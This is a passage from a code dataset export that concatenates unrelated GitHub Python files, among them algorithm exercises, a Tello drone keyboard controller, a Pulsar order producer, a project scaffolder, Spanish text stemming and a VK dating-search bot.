BestOffersDataHandler, SaveOfferHandler, \\\n SavedOffersDataHandler, StatisticsImgHandler, PredictionImgHandler, \\\n FlightChoicesHandler\n\nurls = [\n url(r'/ajax/search_request$', SearchRequestHandler, name='search-request'),\n url(r'/ajax/best_offers$', BestOffersDataHandler, name='best-offers-data'),\n url(r'/ajax/saved_offers$', SavedOffersDataHandler, name='saved-offers-data'),\n url(r'/ajax/search_results/(?P[\\w-]+)$', SearchResultsDataHandler, name='search-results-data'),\n url(r'/ajax/city_options/(?P[\\w %,-]+)$', CityOptionsHandler, name='city-options'),\n url(r'/ajax/save_offer/(?P[\\w-]+)/(?P[0-9]+)$', SaveOfferHandler, name='save-offer'),\n url(r'/ajax/flights/(?P[\\w-]+)$', FlightChoicesHandler, name='flights'),\n\n url(r'/admin/ajax/statistics/(?P[0-9]+)$', StatisticsImgHandler, name='admin-statistics'),\n url(r'/admin/ajax/prediction/(?P[0-9]+)$', PredictionImgHandler, name='admin-prediction'),\n]\n","repo_name":"Lootgvfr/travel-search","sub_path":"url/ajax.py","file_name":"ajax.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"37067251817","text":"coin_list = [1, 100, 50, 500]\n\n\ndef solution(value, coin_list):\n cnt = 0\n details = list()\n coin_list.sort(reverse=True)\n\n for coin in coin_list:\n coin_num = value // coin\n cnt += coin_num\n value -= coin_num * coin\n details.append([coin, coin_num])\n\n return cnt, details\n\n\nprint(solution(5320, coin_list))\n","repo_name":"junh0328/prepare_algorithm","sub_path":"algo2/greedy.py","file_name":"greedy.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"43044283756","text":"#3 write a function which takes an array of numbers as an input and finds the lowest value. Return the index of that element and its value (1p)\r\nimport numpy as np\r\nimport random as rd\r\n\r\ndef mini(x):\r\n print(x.min())\r\n for i in range(int((np.size(x)/len(x)))):\r\n for j in range(len(x)):\r\n if x[j,i]== x.min():\r\n print('najmniejsza wartosc to:',x.min(),' i znajduje sie w miejscu o indeksie:',i,',',j)\r\n \r\n \r\nx=np.zeros([12,34])\r\n\r\nfor i in range(int((np.size(x)/len(x)))):\r\n for j in range(len(x)):\r\n x[j,i]=rd.randint(10,500)\r\nprint(x)\r\n\r\nmini(x)","repo_name":"M-Marszalek/MetNum","sub_path":"zadania/lista1/1-3.py","file_name":"1-3.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"74222912488","text":"#User function Template for python3\n\nclass Solution:\n \n #Function to find if there is a celebrity in the party or not.\n def celebrity(self, m, n):\n # code here \n dp={i:[False,0] for i in range(n)}\n \n for i in range(n):\n for j in range(n):\n if m[i][j]==1:\n dp[j][1]+=1\n dp[i][0]=True\n for k in dp:\n if dp[k][0]==False:\n if dp[k][1]==n-1:\n return k\n return -1\n \n \n\n\n\n#{ \n # Driver Code Starts\n#Initial Template for Python 3\n\nif __name__ == '__main__':\n t = int(input())\n for _ in range(t) :\n n = int(input())\n a = list(map(int,input().strip().split()))\n k = 0\n m = []\n for i in range(n):\n row = []\n for j in range(n):\n row.append(a[k])\n k+=1\n m.append(row)\n ob = Solution()\n print(ob.celebrity(m,n))\n# } Driver Code Ends","repo_name":"abhi-apple/leetcode","sub_path":"The Celebrity Problem - GFG/the-celebrity-problem.py","file_name":"the-celebrity-problem.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"} +{"seq_id":"1068332194","text":"# -*- coding: utf-8 -*-\n\nM_NUMBER = 123\nTXT_FILENAME = 'file.txt'\nINV_ARG = 'wrong argument'\nPYSTR = 'python'\nCLISTR = 'students/lishanda/3/cli.py'\nDIRSTR = 'dir'\nTXTSTR = ''\n\n\ndef mkdir(directory):\n \"\"\"Mkdir func.\"\"\"\n directory.mkdir()\n","repo_name":"sobolevn/itmo-2019","sub_path":"students/lishanda/3/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":243,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"} +{"seq_id":"34971426976","text":"import os\nimport cv2\nimport pygame\nfrom time import sleep, time\nfrom djitellopy import tello\n\n# initialize pygame\npygame.init()\nHEIGHT, WIDTH = 600, 600\nWIN = pygame.display.set_mode((HEIGHT, WIDTH))\npygame.display.set_caption('tello keyboard')\nFPS = 60\n\n# initialize drone logo\nWHITE = (255, 255, 255)\nBLUE = (0, 0, 255)\nLOGO_HEIGHT, LOGO_WIDTH = 100, 100\nTELLO_LOGO = pygame.image.load(os.path.join('assets', 'tello_logo.jpg'))\nTELLO_LOGO = pygame.transform.scale(TELLO_LOGO, (LOGO_HEIGHT, LOGO_WIDTH))\ndrone_logo = pygame.Rect((HEIGHT-LOGO_HEIGHT)//2, (WIDTH-LOGO_WIDTH)//2, LOGO_HEIGHT, LOGO_WIDTH)\n\n# initialize tello drone\ndrone = tello.Tello()\n\ndef init():\n # connect the drone\n drone.connect()\n drone.streamon()\n print(drone.get_battery)\n\ndef getKey(keyName, keys_pressed):\n ans = False\n myKey = getattr(pygame, 'K_{}'.format(keyName))\n if keys_pressed[myKey]:\n ans = True\n return ans\n\ndef set_drone_controls(keys_pressed):\n lr, fb, ud, yv = 0, 0, 0, 0\n speed = 50\n\n if getKey(\"LEFT\", keys_pressed): lr = -speed\n elif getKey(\"RIGHT\", keys_pressed): lr = speed\n\n if getKey(\"UP\", keys_pressed): fb = speed\n elif getKey(\"DOWN\", keys_pressed): fb = -speed\n\n if getKey(\"w\", keys_pressed): ud = speed\n elif getKey(\"s\", keys_pressed): ud = -speed\n\n if getKey(\"a\", keys_pressed): yv = -speed\n elif getKey(\"d\", keys_pressed): yv = speed\n\n drone.send_rc_control (lr, fb, ud, yv)\n\ndef get_image(keys_pressed):\n img = drone.get_frame_read().frame\n img = cv2.resize(img, (360,240))\n cv2.imshow(\"Image\", img)\n cv2.waitKey(1)\n\n if (getKey('p', keys_pressed)):\n filename = os.path.join('images', '{}.jpg'.format(time))\n cv2.imwrite(filename, img)\n\n\ndef set_logo_controls(keys_pressed, VEL = 5):\n if getKey(\"LEFT\", keys_pressed) and drone_logo.x - VEL > 0:\n drone_logo.x -= VEL\n if getKey(\"RIGHT\", keys_pressed) and drone_logo.x + VEL + drone_logo.width < WIDTH:\n drone_logo.x += VEL\n if getKey(\"UP\", keys_pressed) and drone_logo.y -VEL > 0:\n drone_logo.y -= VEL\n if getKey(\"DOWN\", keys_pressed) and drone_logo.y + VEL + drone_logo.height < HEIGHT:\n drone_logo.y += VEL\n\n\ndef draw_window() :\n WIN.fill(WHITE)\n WIN.blit(TELLO_LOGO, (drone_logo.x, drone_logo.y))\n pygame.display.update()\n\n\ndef main() :\n init()\n clock = pygame.time.Clock()\n\n run = True\n while run:\n \n clock.tick(FPS)\n\n for eve in pygame.event.get():\n if eve.type == pygame.QUIT:\n cv2.destroyAllWindows()\n drone.end()\n run = False\n\n keys_pressed = pygame.key.get_pressed()\n\n get_image(keys_pressed)\n\n if drone.is_flying :\n if (getKey('q', keys_pressed)):\n drone.land()\n\n set_drone_controls(keys_pressed)\n set_logo_controls(keys_pressed)\n \n \n elif getKey('e', keys_pressed):\n drone.takeoff()\n sleep(5)\n\n draw_window()\n\n\n\nif __name__ == '__main__' :\n main()","repo_name":"shubhxm02/tello-sg","sub_path":"files/KeyboardFinal.py","file_name":"KeyboardFinal.py","file_ext":"py","file_size_in_byte":3495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"8464481713","text":"#-*-coding:utf8-*-\n\nversion = '06'\n\ndef division(divisor, divident):\n if divident == 0:\n return 0.0\n else:\n return divisor / divident\n\ndef main():\n theta = list()\n featureMean = list()\n featureRange = list()\n\n # load featureMean and featureRange\n with open('featureMean.txt', 'r') as fin:\n content = fin.read()[1:-1]\n featureMean = [(float) (num) for num in content.split(',')]\n\n with open('featureRange.txt', 'r') as fin:\n content = fin.read()[1:-1]\n featureRange = [(float) (num) for num in content.split(',')]\n\n # load theta\n with open('theta_to_gen_result.txt', 'r') as fin:\n content = ''.join(fin.read().split())[1:-1]\n theta = [(float) (feature) for feature in content.split(',')]\n\n\n fout = open('result-' + version + '.csv', 'ab')\n fout.write('Id,reference\\n')\n\n # load features list frome test samples\n with open('test_temp.csv') as fin:\n datas = fin.readlines()[1:]\n\n dimension = len(theta) - 1\n for data in datas:\n data = data.split(',')\n features = [(float) (data[i]) for i in range(1, dimension + 1)]\n \n estimate = theta[dimension]\n for i in range(dimension):\n scaledFeature = division(features[i] - featureMean[i], featureRange[i])\n estimate += theta[i] * scaledFeature\n\n fout.write(data[0] + ',' + str(round(estimate, 6)) + '\\n')\n\n fout.close()\n\n fout = open('log.txt', 'ab')\n fout.write('version: ' + version + '\\ntheta: ')\n fout.write(str(theta) + '\\n\\n')\n fout.close()\n\nif __name__ == \"__main__\":\n main()","repo_name":"T8PJM3Ei86jfJapV/linear-regression","sub_path":"output/gen_result.py","file_name":"gen_result.py","file_ext":"py","file_size_in_byte":1654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"26157881430","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n\nplt.style.use('seaborn-deep')\n\nx = np.random.normal(1, 2, 5000)\ny = np.random.normal(-1, 3, 5000)\ndata = np.vstack([x, y]).T\nbins = np.linspace(-10, 10, 30)\n\nplt.hist(data, bins, alpha=0.7, label=['x', 'y'])\nplt.legend(loc='upper right')\nplt.show()","repo_name":"zarkaltair/Other-for-python","sub_path":"Python library/Matplotlib/create_gist_exmpl_2.py","file_name":"create_gist_exmpl_2.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"27601348834","text":"# 利用 memoryviews 来发送和接受大数组\ndef send_from(arr, dest):\n view = memoryview(arr).cast('B')\n while len(view):\n nsent = dest.send(view)\n view = view[nsent:]\n\n\ndef recv_into(arr, source):\n view = memoryview(arr).cast('B')\n while len(view):\n nrecv = source.recv_into(view)\n print(nrecv)\n view = view[nrecv:]\n\n# 本质上,一个内存视图就是一个已存在数组的覆盖层。\n# 不仅仅是那样, 内存视图还能以不同的方式转换成不同类型来表现数据。\n\n# 我们使用很多不同的 send() 和 recv_into() 来传输整个数组。\n# 不用担心,每次操作后,视图会通过发送或接受字节数量被切割成新的视图。\n# 新的视图同样也是内存覆盖层。因此,还是没有任何的复制操作。\n","repo_name":"mofei952/cookbook","sub_path":"c11_network_and_web_program/p13_sending_receiving_large_arrays/zerocopy.py","file_name":"zerocopy.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"6252295694","text":"import json\nimport logging\nimport os\nimport sys\nfrom datetime import datetime\n\n# Flask\nfrom flask_restful import Resource\nfrom google.protobuf.json_format import MessageToJson\n\ncurrent = os.path.dirname(os.path.realpath(__file__))\nparent = os.path.dirname(current)\nsys.path.append(parent)\n\nimport pulsar\nfrom faker import Faker\n\nfrom schemas.orden_pb2 import Orden\n\nfake = Faker()\n\nlogger = logging.getLogger('pulsar:client')\nlogger.setLevel(logging.DEBUG)\nconsola = logging.StreamHandler()\nconsola.setLevel(logging.DEBUG)\nlogger.addHandler(consola)\n\n\ndef get_order_data():\n dt = datetime.now()\n return {\n \"id\": fake.uuid4(),\n \"client_id\": fake.random_int(min=1, max=1000),\n \"address\": fake.address(),\n \"status\": \"pending\",\n \"created_at\": datetime.timestamp(dt)\n }\n\n\ndef create_order():\n try:\n client = pulsar.Client(os.environ.get('PULSAR_BROKER_URL'))\n\n producer = client.create_producer('crear-orden')\n command = Orden()\n order_dict = get_order_data()\n command.id = order_dict[\"id\"]\n command.client_id = order_dict[\"client_id\"]\n command.address = order_dict[\"address\"]\n command.status = order_dict[\"status\"]\n command.created_at = order_dict[\"created_at\"]\n logger.info(command)\n event_bytes = command.SerializeToString()\n producer.send(event_bytes)\n\n return json.loads(MessageToJson(command))\n except pulsar.PulsarException as e:\n logger.error(f\"Failed to connect to Pulsar broker: {e}\")\n\n\nclass OrdersView(Resource):\n\n def post(self):\n\n return create_order()\n","repo_name":"jandresboyaca/Non-monolithic-applications","sub_path":"client/views/orders.py","file_name":"orders.py","file_ext":"py","file_size_in_byte":1620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"2135075842","text":"import sys\nfrom collections import deque\n\n\nM, N = map(int, sys.stdin.readline().split())\n\nbox = []\nqueue = deque()\ncount = 0\nfor i in range(N):\n box.append(list(map(int, sys.stdin.readline().split())))\n for j in range(M):\n if box[i][j] == 1:\n queue.append((i, j, 0))\n elif box[i][j] == 0:\n count += 1\n\ndrc = [[0, 1], [0, -1], [1, 0], [-1, 0]]\nwhile queue:\n ripen = queue.popleft()\n\n for d in drc:\n new_r, new_c = ripen[0] + d[0], ripen[1] + d[1]\n\n if 0 <= new_r < N and 0 <= new_c < M and box[new_r][new_c] == 0:\n queue.append((new_r, new_c, ripen[2] + 1))\n box[new_r][new_c] = 1\n count -= 1\n\nprint(ripen[2] if count == 0 else -1)\n","repo_name":"WoosubLeee/algorithm-study","sub_path":"백준/Gold/7576_토마토.py","file_name":"7576_토마토.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"33034280011","text":"import vk_api\r\nfrom vk_api.longpoll import VkLongPoll, VkEventType\r\nfrom Db_create import engine, Base, Session, write_msg, add_user_fav, add_user_watched, add_to_bl, \\\r\n check_db_user, check_register, check_bl, delete_db_blacklist, check_db_favorites, delete_db_favorites, register_user\r\nfrom setting import group_token, user_token, v\r\nfrom function_Vkinder import find_user, get_photo, sort_likes, json_create\r\nimport requests\r\nfrom datetime import datetime\r\n\r\nvk = vk_api.VkApi(token=group_token)\r\nlongpoll = VkLongPoll(vk)\r\n\r\nsession = Session()\r\nconnection = engine.connect()\r\n\r\n\r\ndef loop_bot():\r\n for this_event in longpoll.listen():\r\n if this_event.type == VkEventType.MESSAGE_NEW:\r\n if this_event.to_me:\r\n message_text = this_event.text\r\n return message_text, this_event.user_id\r\n\r\n\r\ndef bot_menu(id_num):\r\n write_msg(\r\n id_num, f\"Привет я бот Vkinder!\\n\"\r\n f\"Для поиск - 'поиск'\\n\"\r\n f\"Избранное - 2\\n\"\r\n f\"Черный список - b\\n\")\r\n\r\n\r\ndef info():\r\n write_msg(\r\n user_id, f'Последняя анкета.'\r\n f'Избранное - 2'\r\n f'Черный список - b'\r\n f'Поиск? Пиши - Поиск'\r\n f'Меню или перезапуск - Начать')\r\n\r\n\r\ndef reg_new_user(id_num):\r\n write_msg(id_num, 'Регистрация пройдена!')\r\n register_user(id_num)\r\n\r\n\r\ndef to_favorites(ids):\r\n all_fav_user = check_db_favorites(ids)\r\n write_msg(ids, f'Те кого вы добавили в избранное:')\r\n for nums, users in enumerate(all_fav_user):\r\n res_fv_search = get_info_fv(users.vk_id)\r\n user_fav_photo = get_photo(users.vk_id)\r\n sor_user_phot = sort_likes(user_fav_photo)\r\n write_msg(ids, f'\\n{res_fv_search[0][1]} {res_fv_search[0][2]} {res_fv_search[0][0]}')\r\n try:\r\n write_msg(user_id,\r\n f'фото:',\r\n attachment=','.join([\r\n sor_user_phot[-1][1], sor_user_phot[-2][1],\r\n sor_user_phot[-3][1]\r\n ]))\r\n except IndexError:\r\n for photo in range(len(sor_user_phot)):\r\n write_msg(user_id, f'фото:', attachment=sor_user_phot[photo][1])\r\n write_msg(ids, '1 - Удалить, 2 - Далее \\n4 - Выйти')\r\n msg_texts, user_ids = loop_bot()\r\n if msg_texts == '2':\r\n if nums >= len(all_fav_user) - 1:\r\n write_msg(\r\n user_ids, f'Последняя анкета.\\n'\r\n f'Начать - для перезапуска\\n')\r\n elif msg_texts == '1':\r\n delete_db_favorites(users.vk_id)\r\n write_msg(user_ids, f'Анкета удалена.')\r\n if nums >= len(all_fav_user) - 1:\r\n write_msg(\r\n user_ids, f'Последняя анкета.\\n'\r\n f'Начать - для перезапуска\\n')\r\n elif msg_texts.lower() == '4':\r\n write_msg(ids, 'Начать - для старта')\r\n break\r\n else:\r\n input_error()\r\n break\r\n\r\n\r\ndef to_blacklist(ids):\r\n all_bl_user = check_bl(ids)\r\n write_msg(ids, f'Те кого вы добавили в черны�� список:')\r\n for num, user in enumerate(all_bl_user):\r\n res_bl_search = get_info_fv(user.vk_id)\r\n user_bl_photo = get_photo(user.vk_id)\r\n sor_user_phot = sort_likes(user_bl_photo)\r\n write_msg(ids, f'\\n{res_bl_search[0][1]} {res_bl_search[0][2]} {res_bl_search[0][0]}')\r\n try:\r\n write_msg(user_id,\r\n f'фото:',\r\n attachment=','.join([\r\n sor_user_phot[-1][1], sor_user_phot[-2][1],\r\n sor_user_phot[-3][1]\r\n ]))\r\n except IndexError:\r\n for photo in range(len(sor_user_phot)):\r\n write_msg(user_id, f'фото:', attachment=sor_user_phot[photo][1])\r\n write_msg(ids, '1 - Удалить, 2 - Далее \\n4 - Выход')\r\n msg_texts, user_ids = loop_bot()\r\n if msg_texts == '2':\r\n if num >= len(all_bl_user) - 1:\r\n write_msg(\r\n user_ids, f'Последняя анкета.\\n'\r\n f'Начать - для перезапуска\\n')\r\n elif msg_texts == '1':\r\n print(user.id)\r\n delete_db_blacklist(user.vk_id)\r\n write_msg(user_ids, f'Анкета удалена.')\r\n if num >= len(all_bl_user) - 1:\r\n write_msg(\r\n user_ids, f'Последняя анкета.\\n'\r\n f'Начать - для перезапуска\\n')\r\n elif msg_texts.lower() == '4':\r\n write_msg(ids, 'Начать - для перезапуска')\r\n break\r\n else:\r\n input_error()\r\n break\r\n\r\n\r\ndef get_info(user_id):\r\n url = 'https://api.vk.com/method/users.get'\r\n params = {'user_ids': user_id, 'fields': 'bdate,sex,city',\r\n 'access_token': user_token,\r\n 'v': v}\r\n res = requests.get(url, params=params)\r\n json_res_search = res.json()\r\n try:\r\n if 'bdate' in json_res_search['response'][0].keys() and \\\r\n len(json_res_search['response'][0]['bdate']) > 7:\r\n age_use = int(json_res_search['response'][0]['bdate'][-4:])\r\n age_to = (int(datetime.now().year) - age_use) + 3\r\n age_at = (int(datetime.now().year) - age_use) - 3\r\n\r\n else:\r\n write_msg(user_id, 'Возраст от:')\r\n msg_text, user_id = loop_bot()\r\n age_to = msg_text[0:1]\r\n write_msg(user_id, 'Возраст до:')\r\n msg_text, user_id = loop_bot()\r\n age_at = msg_text[0:1]\r\n\r\n sex_user = json_res_search['response'][0]['sex']\r\n if sex_user == 1:\r\n sex = 2\r\n elif sex_user == 2:\r\n sex = 1\r\n\r\n else:\r\n write_msg(user_id, 'Пол? \\n1 - Женский\\n2 - Мужской')\r\n msg_text, user_id = loop_bot()\r\n sex = msg_text[0:1]\r\n\r\n if 'city' in json_res_search['response'][0]:\r\n city = json_res_search['response'][0]['city']['title']\r\n\r\n else:\r\n write_msg(user_id, 'Введите город')\r\n msg_text, user_id = loop_bot()\r\n city = msg_text[0:len(msg_text)].lower()\r\n\r\n return sex, age_to, age_at, city\r\n except KeyError:\r\n write_msg(user_id, 'Ошибка получения токена. Добавьте токен пользователя user_token (в setting.py)')\r\n\r\ndef get_info_fv(user_id):\r\n vk_ = vk_api.VkApi(token=user_token)\r\n response = vk_.method('users.get', {'user_ids': user_id, 'access_token': user_token, 'v': v})\r\n res_fv = []\r\n res_fv.append(['https://vk.com/id' + str(response[0]['id']), response[0][\"first_name\"], response[0][\"last_name\"]])\r\n return res_fv\r\n\r\n\r\n\r\ndef input_error():\r\n write_msg(user_id, 'Я Вас не понимаю.'\r\n '\\nНачать - для активации или перезапуска.')\r\n\r\n\r\nif __name__ == '__main__':\r\n Base.metadata.drop_all(engine)\r\n Base.metadata.create_all(engine)\r\n while True:\r\n msg_text, user_id = loop_bot()\r\n\r\n if msg_text[0:6].lower() == 'начать':\r\n bot_menu(user_id)\r\n msg_text, user_id = loop_bot()\r\n cur_user_id = check_register(user_id)\r\n if cur_user_id is None:\r\n reg_new_user(user_id)\r\n if msg_text[0:5].lower() == 'поиск':\r\n sex, age_to, age_at, city = get_info(user_id)\r\n res_search = find_user(sex, int(age_at), int(age_to), city)\r\n json_create(res_search)\r\n cur_user_id = check_register(user_id)\r\n for i in range(len(res_search)):\r\n favorites, black_list_user, wathced_users = check_db_user(res_search[i][3])\r\n user_photo = get_photo(res_search[i][3])\r\n if user_photo == 'нет доступа' or favorites is not None or black_list_user is not None or wathced_users is not None:\r\n continue\r\n sor_user_photo = sort_likes(user_photo)\r\n write_msg(\r\n user_id,\r\n f'\\n{res_search[i][0]} {res_search[i][1]} {res_search[i][2]}',\r\n )\r\n try:\r\n write_msg(user_id,\r\n f'фото:',\r\n attachment=','.join([\r\n sor_user_photo[-1][1], sor_user_photo[-2][1],\r\n sor_user_photo[-3][1]\r\n ]))\r\n except IndexError:\r\n for photo in range(len(sor_user_photo)):\r\n write_msg(user_id,\r\n f'фото:',\r\n attachment=sor_user_photo[photo][1])\r\n write_msg(\r\n user_id,\r\n '1 - В избранное, 2 - В черный список, 3 - Далее, \\n4 - выход'\r\n )\r\n msg_text, user_id = loop_bot()\r\n if msg_text == '3':\r\n if i >= len(res_search) - 1:\r\n info()\r\n add_user_watched(user_id, res_search[i][3], cur_user_id.id)\r\n elif msg_text == '1':\r\n if i >= len(res_search) - 1:\r\n info()\r\n break\r\n add_user_fav(user_id, res_search[i][3], cur_user_id.id)\r\n elif msg_text == '2':\r\n if i >= len(res_search) - 1:\r\n info()\r\n add_to_bl(user_id, res_search[i][3], cur_user_id.id)\r\n elif msg_text.lower() == '4':\r\n write_msg(user_id, 'Пока.')\r\n break\r\n else:\r\n input_error()\r\n break\r\n\r\n\r\n elif msg_text == '2':\r\n to_favorites(user_id)\r\n\r\n elif msg_text == 'b':\r\n to_blacklist(user_id)\r\n\r\n else:\r\n input_error()\r\n\r\n elif len(msg_text) > 0:\r\n write_msg(user_id, f'Привет! '\r\n f'\\nНачать - для активации.')\r\n","repo_name":"Lunrutum/Diploma-VkindePy","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"30617059463","text":"#!/usr/bin/python\n\nimport sys\n\n\n# Check for directed graph\ndef bellman(s, g):\n # infinity weight\n e = {k: sys.maxsize for k in g.keys()}\n e[s] = 0\n\n # n-1 times because a graph will have\n # n-1 edges at max without cycle\n for i in range(len(g) - 1):\n for k in g:\n for (n, w) in g[k]:\n e[n] = min(e[n], e[k] + w)\n return e\n\n\ndef testBellmanshortestPath():\n graph = {1: [(2, 2), (3, 3), (4, 7)], 2: [(5, 3)], 3: [(4, -2)], 4: [(5, 2)], 5: []}\n\n e = bellman(1, graph)\n print(e)\n\n\ntestBellmanshortestPath()\n","repo_name":"rakontuh/algorithms","sub_path":"Algorithms/Python/Graph/Bellman.py","file_name":"Bellman.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"53"} +{"seq_id":"26626355651","text":"# -*- coding: utf-8 -*-\n# ---------------------------------------------\n# @Time : 2020/8/3 5:25 下午\n# @Author : cxy =.=\n# @File : main.py\n# @Software: PyCharm\n# @Desc :\n# ---------------------------------------------\nimport os\nimport shutil\nimport stat\nimport sys\n\nsys.path.append('../../fastproject')\nimport fastproject\nfrom django.template import Engine, Context\n\n\ndef make_writeable(filename):\n if not os.access(filename, os.W_OK):\n st = os.stat(filename)\n new_permissions = stat.S_IMODE(st.st_mode) | stat.S_IWUSR\n os.chmod(filename, new_permissions)\n\n\ndef execute(argv):\n command, project_name = argv[1], argv[2]\n print(f'command: {command}')\n print(f'project_name: {project_name}')\n base_name = 'project_name'\n\n top_dir = os.path.join(os.getcwd(), project_name)\n print(f\"top_dir: {top_dir}\")\n os.makedirs(top_dir)\n\n camel_case_value = '_'.join(x for x in project_name.split('-'))\n context = Context({\n base_name: project_name,\n 'project_directory': top_dir,\n 'camel_case_project_name': camel_case_value,\n }, autoescape=False)\n\n template_dir = os.path.join(fastproject.__path__[0], 'project_template')\n print(template_dir)\n prefix_length = len(template_dir) + 1\n for root, dirs, files in os.walk(template_dir):\n print(root, dirs, files)\n path_rest = root[prefix_length:]\n relative_dir = path_rest.replace(base_name, camel_case_value)\n if relative_dir:\n target_dir = os.path.join(top_dir, relative_dir)\n os.makedirs(target_dir, exist_ok=True)\n\n for dirname in dirs[:]:\n if dirname.startswith('.') or dirname == '__pycache__':\n dirs.remove(dirname)\n\n for filename in files:\n if filename.endswith(('.pyo', '.pyc', '.py.class')):\n continue\n old_path = os.path.join(root, filename)\n new_path = os.path.join(\n top_dir, relative_dir, filename.replace(base_name, project_name)\n )\n for old_suffix, new_suffix in [('.py-tpl', '.py')]:\n if new_path.endswith(old_suffix):\n new_path = new_path[:-len(old_suffix)] + new_suffix\n break # Only rewrite once\n\n # if os.path.exists(new_path):\n # raise CommandError(\n # \"%s already exists. Overlaying %s %s into an existing \"\n # \"directory won't replace conflicting files.\" % (\n # new_path, self.a_or_an, app_or_project,\n # )\n # )\n\n # Only render the Python files, as we don't want to\n # accidentally render Django templates files\n if new_path.endswith('.py') or filename in []:\n with open(old_path, encoding='utf-8') as template_file:\n content = template_file.read()\n template = Engine().from_string(content)\n content = template.render(context)\n with open(new_path, 'w', encoding='utf-8') as new_file:\n new_file.write(content)\n else:\n shutil.copyfile(old_path, new_path)\n\n try:\n shutil.copymode(old_path, new_path)\n make_writeable(new_path)\n except OSError:\n # self.stderr.write(\n # \"Notice: Couldn't set permission bits on %s. You're \"\n # \"probably using an uncommon filesystem setup. No \"\n # \"problem.\" % new_path, self.style.NOTICE)\n pass\n\n\ndef main():\n execute(sys.argv)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"ChuXiaoYi/fastproject","sub_path":"fastproject/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3729,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"70618656168","text":"import pandas as pd\nimport pickle\nimport nltk\nfrom nltk.stem import WordNetLemmatizer, SnowballStemmer\nfrom nltk.tokenize import sent_tokenize, word_tokenize\nfrom joblib import dump\nstemmer = SnowballStemmer('spanish')\n\ncolumns_interes = [\"DESCRIPCION_PROYECTO\"]\ncolumns_not_na = [\"ID_PROYECTO\", \"NUMERO_CONVOCATORIA\",\n \"DESCRIPCION_PROYECTO\"]\n\n\nclass CleanTools():\n \"\"\"Limpieza y steamming de nuevos textos\"\"\"\n\n def __init__(self):\n self.s_ = None\n self.df_ = None\n\n def clean_str_series(self, s):\n \"\"\"\n Convierte caracteres de utf8 a ascii y elimina errores\n\n\n Parameters:\n -----------\n s: string\n\n\n Returns:\n --------\n s: string\n \"\"\"\n\n s = s.str.normalize('NFKD').str.encode(\n 'ascii', errors='ignore').str.decode('utf-8') \\\n .str.capitalize().str.strip().str.replace('[^\\w\\s]', '')\n\n return s\n\n def text_cleaner(self, df,\n columns_to_clean=[\"DESCRIPCION_PROYECTO\"],\n columns_not_na=columns_not_na):\n \"\"\"\n Elimina filas de un df en caso de ser vacías y aplica la función\n clean_str_series\n\n\n Parameters:\n -----------\n df: dataframe a limpiar\n columns_to_clean: columnas a aplicar clean_str_series\n columns_not_na: columnas a deshechar en caso de que sean NA\n\n\n Returns:\n --------\n df: dataframe con columnas limpias\n \"\"\"\n\n print(\"...text_cleaner\")\n # Quitar registros no validos\n df = df.dropna(subset=columns_not_na, axis=0)\n # Formato texto\n for d in columns_to_clean:\n if df[d].dtype == object:\n df[d] = self.clean_str_series(df[d])\n\n self.df_ = df\n\n def stem_sentence(self, sentence, min_len=4):\n \"\"\"\n Aplica steamming a un string\n\n\n Parameters:\n -----------\n sentence: string a aplicar steamming\n min_len: mínimo de caracteres en palabras\n\n\n Returns:\n --------\n stem_sentence: string con steamming\n \"\"\"\n token_words = word_tokenize(sentence)\n stem_sentence = []\n\n for word in token_words:\n if len(word) > min_len:\n stem_sentence.append(stemmer.stem(\n WordNetLemmatizer().lemmatize(word, pos='v')))\n stem_sentence.append(\" \")\n return \"\".join(stem_sentence)\n\n def stem_sentence_apply(self, limpiar):\n\n print(\"...stem_sentence\")\n self.df_.drop_duplicates(\n subset=[\"ID_PROYECTO\", \"NUMERO_CONVOCATORIA\", \"ANIO\"],\n keep=\"last\", inplace=True)\n\n text_data = self.df_[\"DESCRIPCION_PROYECTO\"]\n\n if limpiar:\n self.df_[\"DESCRIPCION_PROYECTO\"] = text_data.apply(\n self.stem_sentence)\n","repo_name":"DanielBustillos/Recommender-model-topic-classification","sub_path":"pipeline/cleaning_steamming.py","file_name":"cleaning_steamming.py","file_ext":"py","file_size_in_byte":2899,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"1084031033","text":"import numpy as np\nimport pandas as pd\nimport seaborn as sns; sns.set()\nimport matplotlib.pyplot as plt\nfrom matplotlib.patches import Circle, Wedge, Polygon\nfrom matplotlib.collections import PatchCollection\nimport math\nfrom scipy import spatial\nfrom itertools import chain\n\ndef pares_circulares(iterable):\n iterable = iter(iterable)\n first = last = next(iterable)\n for x in iterable:\n yield last, x\n last = x\n yield (last, first)\n\ndef near_zero(v):\n if isinstance(v, (float, 